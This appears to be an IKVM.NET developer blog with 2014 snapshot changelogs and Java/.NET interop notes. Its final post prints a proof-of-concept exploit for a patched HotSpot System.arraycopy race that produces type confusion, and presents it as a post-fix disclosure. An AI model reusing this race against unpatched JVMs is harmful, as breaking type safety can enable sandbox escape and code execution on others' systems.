# Friday, 11 July 2014
New Development Snapshot

Completed LambdaMetafactory intrinsification.

Changes:

  • Fixed several LambdaMetafactory.metafactory() intrinsic bug.
  • Implemented LambdaMetafactory.altMetafactory() intrinsic.
  • Include full class name of anonymous classes in stack trace.
  • Added method and field reflection support for lambda classes.

Binaries available here: ikvmbin-8.0.5305.zip

Friday, 11 July 2014 10:08:05 (W. Europe Daylight Time, UTC+02:00)  #    Comments [0]
# Wednesday, 02 July 2014
New Development Snapshot

I fixed a whole bunch of weird edge case behaviors and finally did the first part of the lambda performance work.

Here are some rough performance results (times in milliseconds) for this crude microbenchmark:

iteration IKVM 8.0.5274 IKVM 8.0.5296 JDK 1.8.0_05                     ikvmc ngen
1 1040.2 87.6 71.8   1.3 0.4
2 0.9 0.3 0.3   0.3 0.4
3 0.9 0.3 0.3   0.3 0.4

Only LambdaMetafactory.metafactory() is supported at the moment. LambdaMetafactory.altMetafactory() will follow in a future snapshot.

Changes:

  • Removed sun.misc.Unsafe usage from java.util.concurrent.atomic.Striped64.
  • Bug fix. Handle malformed UTF-16 (invalid surrogates) in type/member names and annotations.
  • Added ikvm.exe.manifest file to enable Windows 8.1 behavior (including getting the right version number).
  • Bug fix. Invokedynamic bootstrap method can also be a constructor.
  • Bug fix. Improved handling of incorrect invokedynamic bootstrap methods.
  • Bug fix. Non-canonical modified UTF-8 encodings should throw ClassFormatError.
  • Changed ClassFormatError message for invalid UTF-8 to match JDK.
  • Bug fix. Array classes get the system protection domain, not the element type's.
  • Bug fix. Interfaces can't "override" final methods in Object.
  • Bug fix. Only the bootstrap class loader is allowed to define classes in the java package.
  • Bug fix. Since Java 1.7 class names aren't allowed to have [ and ] characters.
  • Updated ldc error behavior to match Java 8.
  • Bug fix. Calling BasicFileAttributes.size() on a directory didn't work. Thanks to Lucius Junevicus for reporting this.
  • Bug fix. If an invokedynamic bootstrap argument conversion fails, the exception should not be wrapped in BootstrapMethodError.
  • Added intrinsic for invokedynamic using LambdaMetafactory.metafactory().

Binaries available here: ikvmbin-8.0.5296.zip

Wednesday, 02 July 2014 13:43:42 (W. Europe Daylight Time, UTC+02:00)  #    Comments [0]
# Friday, 13 June 2014
Malformed UTF-16

While scanning the Java 8 version of the JVM spec for changes, I noticed this new text:

Names of methods, fields, local variables, and formal parameters are stored as unqualified names. An unqualified name must contain at least one Unicode code point and must not contain any of the ASCII characters . ; [ / (that is, period or semicolon or left square bracket or forward slash).

As per usual, the spec and HotSpot implementation don't agree on the details. In particular the text says that a name must contain at least one Unicode code point. At this point it becomes important what a Unicode code point actually is. Suffice it to say that a single UTF-16 code unit in the surrogate range is not a valid Unicode code point and that such names are accepted by HotSpot without any complaint.

The spec, of course, is also incomplete as it does not address what should happen in case of malformed UTF-16 in general. Or maybe it should just be changed to say "... UTF-16 code unit ..." to match the current behavior and not worry about surrogates at all.

On the .NET side, the strings that aren't string literals in the code are stored as UTF-8 and the ECMA CLI spec requires valid UTF-8, but this is only partially enforced which poses its own set of problems.

After discovering all this, I felt compelled to fix IKVM.NET to behave similarly to HotSpot in this regard and added support for escaping malformed UTF-16 strings when writing metadata and unescaping them when reading it back in.

Finally, let's end with a C# example that shows some of the weirdness on the .NET side:

using System;
using System.ComponentModel;

[DisplayName("\uD800")]
class Surrogate {
  static void Main() {
    var attr = (DisplayNameAttribute)typeof(Surrogate)
                 .GetCustomAttributes(false)[0];
    Console.WriteLine(attr.DisplayName == "\uD800");
  }
}
Friday, 13 June 2014 13:43:41 (W. Europe Daylight Time, UTC+02:00)  #    Comments [2]
# Tuesday, 10 June 2014
New Development Snapshot

I implemented Type Annotation reflection and fixed a couple of bugs.

Changes:

  • Implemented type annotation reflection.
  • Bug fix. Process exec should support quotes around filename for VFS executables.
  • Bug fix. Process exec should eagerly close the redirected in/outputs when an exception occurs or immediately after the process exits.
  • Bug fix. ProtectionDomain stack walk should ignore "HideFromStackWalk" frames.
  • Include some missing resources.
  • Added security attributes needed for .NET 4 build.

Binaries available here: ikvmbin-8.0.5274.zip
Sources: ikvmsrc-8.0.5274.zip and openjdk-8-b132-stripped.zip

Tuesday, 10 June 2014 10:19:57 (W. Europe Daylight Time, UTC+02:00)  #    Comments [0]
# Wednesday, 04 June 2014
New Development Snapshot

More progress on the OpenJDK 8 integration and a couple of unrelated fixes.

I fixed an incompatibility with Mono (and other ECMA compliant tools that parse custom attributes). When I changed package manifest handling in 7.4 to handle reading the manifest from the right jar I unknowingly chose a custom attribute encoding that works on the CLR, but isn't actually ECMA compliant. Mono has since added support for this encoding.

Another somewhat interesting change is that I added an (internal only) feature to make it easier to replace sun.misc.Unsafe.compareAndSet() with Interlocked.CompareExchange. The trigger was the new reflection data caching in java.lang.Class. Here's an example of what it looks like:

@ikvm.internal.InterlockedCompareAndSet("reflectionData")
static native boolean casReflectionData(Class<?> clazz,
                                        SoftReference<ReflectionData<T>> oldData,
                                        SoftReference<ReflectionData<T>> newData);

The ikvmc compiler will generate a method body that uses Interlocked.CompareExchange<T>() to update the reflectionData field in Class. In other places where I previously used Interlocked methods (e.g. java.util.concurrent.AtomicReferenceArray) I implemented the method body in map.xml using MSIL instructions, but here the generic version of CompareExchange is needed and I didn't want to invent a syntax for instantiating a generic method in map.xml.

Oracle is working on adding atomic operations to Java and I suggested this annotation based approach, but it was rejected because "we don't add language semantics through annotations".

Changes:

  • Implemented method parameter reflection.
  • Compile class library with javac -parameters option to get parameter names for abstract and native methods.
  • Added (undocumented) -noparameterreflection option ikvmc to disable emitting method parameter reflection metadata
  • Enabled MethodParameter attribute in runtime stub generator.
  • Support round tripping malformed MethodParameter attribute in stub generator.
  • Fixed PackageListAttribute to be ECMA compliant.
  • Added support for defining abstract methods in remap file.
  • Implemented sun.nio.ch.Net.poll() native method.
  • Replaced sun.misc.Unsafe cas operations in java.lang.Class with Interlocked.CompareExchange().
  • Replaced AtomicReference[Array].getAndSet() implementations with Interlocked.Exchange() based implementations.
  • Fixed Linux build. Thanks to Joan Karadimov for reporting this.
  • Prevent unfocable windows from being activated by mouse click. (Based on patch by Maria Papendieck of pure-systems.)
  • Fixed clipboard access to use the right thread. (Based on patch by Maria Papendieck of pure-systems.)
  • IKVM.Reflection: Added UniverseOptions.DecodeVersionInfoAttributeBlobs to support decoding CustomAttributeBuilder with blob to extract version info fields.

Binaries available here: ikvmbin-8.0.5268.zip
Sources: ikvmsrc-8.0.5268.zip and openjdk-8-b132-stripped.zip

Wednesday, 04 June 2014 09:30:36 (W. Europe Daylight Time, UTC+02:00)  #    Comments [4]
# Monday, 26 May 2014
New Development Snapshot

More progress on the OpenJDK 8 integration.

Changes:

  • Integrated Nashorn.
  • Added workaround for bug in .NET 2.0 implementation of ModuleBuilder.GetMethodToken() exposed by Nashorn.
  • Bug fix. A .NET type should always have access to its nested types.
  • Fixed javap build.
  • Bug fix. The MethodHandle code requires the volatile field accessors in Unsafe for volatile field access.
  • Bug fix. Handle more than 8 parameters in invokedynamic.
  • Bug fix. DynamicMethod's ILGenerator doesn't like unbaked array types.
  • Bug fix. MethodHandle.invoke[Exact] methods should have VarArgs flag set.
  • Added workaround for javac MethodHandle.invoke[Exact] detection bug.
  • Moved cldrdata and localedata into separate assemblies.
  • Implemented native methods for HostLocaleProviderAdapterImpl. The system property "java.locale.providers" can now be set to "HOST" to use the .NET locale implementation.

Binaries available here: ikvmbin-8.0.5259.zip
Sources: ikvmsrc-8.0.5259.zip and openjdk-8-b132-stripped.zip

Monday, 26 May 2014 10:22:29 (W. Europe Daylight Time, UTC+02:00)  #    Comments [0]
# Tuesday, 20 May 2014
First OpenJDK 8 Based Development Snapshot

I finished the first major step for integrating OpenJDK 8. The class libraries are now built from the OpenJDK 8 sources. Not all new functionality is implemented yet (both in the class library and in the VM).

Lambda's work, but they are not yet optimized, so they are very slow. This will be fixed in a future development snapshot.

Another area that still needs a lot of work is the assembly partitioning of the class libraries. Currently IKVM.OpenJDK.Core.dll has grown to 13MB. That's clearly not a good thing. Also, a bunch of work has gone into OpenJDK 8 to better factor it and to support making parts of the class libaries optional, so that should be exposed as well.

Finally, there is no Nashorn support yet.

Changes:

  • Enabled Java 8 class file support by default.
  • Several fixes for Java 8 static, private and default interface methods.
  • Allow classes defined by Unsafe.defineAnonymousClass() access to private methods of their host class.
  • Add ExtensionAttribute to IKVM.OpenJDK.Core assembly, because Roslyn requires that for the extension methods to be visible.
  • Bug fix. Unsafe.park(false, 0) means infinite wait timeout, contrary to LockSupport.parkNanos(0).
  • Bug fix. Miranda method override stubs should be handled by the normal code, because a Miranda method can implement multiple interface methods.
  • Bug fix. Bridge method names should not include prefix in stack trace.
  • Fixed handling of ghost array types in remapped type methods.
  • Fixed class file validation of method and field names to disallow '[' character.
  • Fixed class file validation to disallow zero length bytecode stream.
  • Bug fix. Exceptions in bootstrap method arguments should not be wrapped in BootstrapMethodError.
  • Fixed ikvmc to emit fatal error instead of crashing when a field referenced in remap file isn't found.
  • Added ikvmc option -assemblyattributes: to explicitly specify the assembly attribute container class and deprecated the previous behavior.
  • Bug fix. If ikvmc -warnaserror is used, "warnings" should not be suppressed after an error was emitted.
  • IKVM.Reflection: Fixed several bugs in Type.GetInterfaceMap().
  • IKVM.Reflection: It is legal for a MethodBuilder to not have a signature, in that case it defaults to returning void with no parameters.

Binaries available here: ikvmbin-8.0.5252.zip
Sources: ikvmsrc-8.0.5252.zip and openjdk-8-b132-stripped.zip

Tuesday, 20 May 2014 09:06:50 (W. Europe Daylight Time, UTC+02:00)  #    Comments [0]
# Thursday, 15 May 2014
Default and Static Interface Methods

Java 8 introduces default and static interface methods.

Here's an example Java 8 interface:

public interface Foo {
  default void m1() {
    System.out.println("Hello from default interface method");
  }
  static void m2() {
    System.out.println("Hello from static interface method");
  }
}

When this interface is compiled by ikvmc,  it produces the approximate equivalent of the following pseudo C# code:

public interface Foo {
  public static class __DefaultMethods {
    public static void m1(Foo obj) {
      if (obj == null) throw new NullReferenceException();
      Foo.<default>m1(obj);
    }
  }
  public static class __Methods {
    public static void m2() {
      Foo.m2();
    }
  }
  public static void <default>m1(Foo obj) {
    System.out.println("Hello from default interface method");
  }
  public abstract void m1();
  public static void m2() {
    System.out.println("Hello from static interface method");
  }
}

There are a number of things going on here, so let's go over them one by one.

__DefaultMethods

This nested type exists to allow C# code to call the default method implemenation. So when your C# class implements the Foo interface, it may implement the m1 method by calling the default method. The reason it is a nested type is to avoid method name clashes and because the current C# compiler doesn't allow access to static interface members.

__Methods

This only exists because the current C# compiler doesn't allow access to static interface members (the new Roslyn C# compiler does). It is similar to the nested __Fields type that already exists to expose interface fields.

<default>m1

This is a static method that contains the body of the default interface method. Its name is mangled to avoid conflict with the "real" abstract method. Internally ikvmc calls this method when a class inherits the default method.

m1

Regular abstract interface method.

m2

Regular static method.

The result of this implementation choice is that it can be quite painful to implement a Java 8 interface in C#, because you manually have to forward each default method.

Given the large number of default methods introduced in Java 8 this is going to make interop quite a bit more inconvenient. A partial workaround for this is to write more interop code in Java or create a Java base class that implements the interface so that it can inherit the default methods and then write the implementation as a C# subclass.

I'm considering changing ikvmc to automatically generate a __BaseClass nested type inside all public interfaces to at least make it easy to write a class that implements a single Java interface.

JVM interfaces can also have private methods. The current C# compiler doesn't like interfaces with non-public members, so the private methods are put into another nested type by ikvmc (and instance methods are compiled as static methods).

Thursday, 15 May 2014 12:06:11 (W. Europe Daylight Time, UTC+02:00)  #    Comments [0]
# Thursday, 01 May 2014
Java Method Overriding Is FUBAR Part 9 of ∞

Java 8 introduces default methods. In the current HotSpot implementation this makes adding a private method to a non-final class a binary breaking change (contrary to what the JLS says about this).

Here's an example. Suppose you have two separate code bases Lib and App, shipped by different parties. App depends on Lib.

Lib defines a class B:

public class B {
}

App defines an interface I and a class D:

public interface I {
  default void m() {
    System.out.println("I.m");
  }
}

public class D extends B implements I {
  public static void main(String[] args) {
    D d = new D();
    d.m();
  }
}

All is well in the world. Now Lib ships a new version that includes a new version of class B:

public class B {
  private void m() { }
}

Now when you run D the output is:

Exception in thread "main" java.lang.IllegalAccessError: tried to access method B.m()V from class D
        at D.main(D.java:4)

You could argue that this is "just" an implementation bug, but I posted it as part of this series because it is symptomatic of the mess that is Java's method dispatch story.

Thursday, 01 May 2014 09:38:36 (W. Europe Daylight Time, UTC+02:00)  #    Comments [1]
# Wednesday, 16 April 2014
Arraycopy HotSpot Vulnerability Fixed in 7u55

Here is a simple PoC exploit for the issue fixed here:

class Union1 { }
class Union2 { }

class arraytoctou {
  static volatile Union1 u1 = new Union1();

  public static void main(String[] args) {
    final Union1[] arr1 = new Union1[1];
    final Union2[] arr2 = new Union2[1];
    new Thread() {
      public void run() {
        for(;;) {
          try {
            System.arraycopy(arr1, 0, arr2, 0, 1);
            if (arr2[0] != null) break;
          } catch (Exception _) { }
        }
      }
    }.start();

    while (arr2[0] == null) {
      arr1[0] = null;
      arr1[0] = u1;
    }

    System.out.println(arr2[0]);
  }
}

Wednesday, 16 April 2014 10:40:19 (W. Europe Daylight Time, UTC+02:00)  #    Comments [2]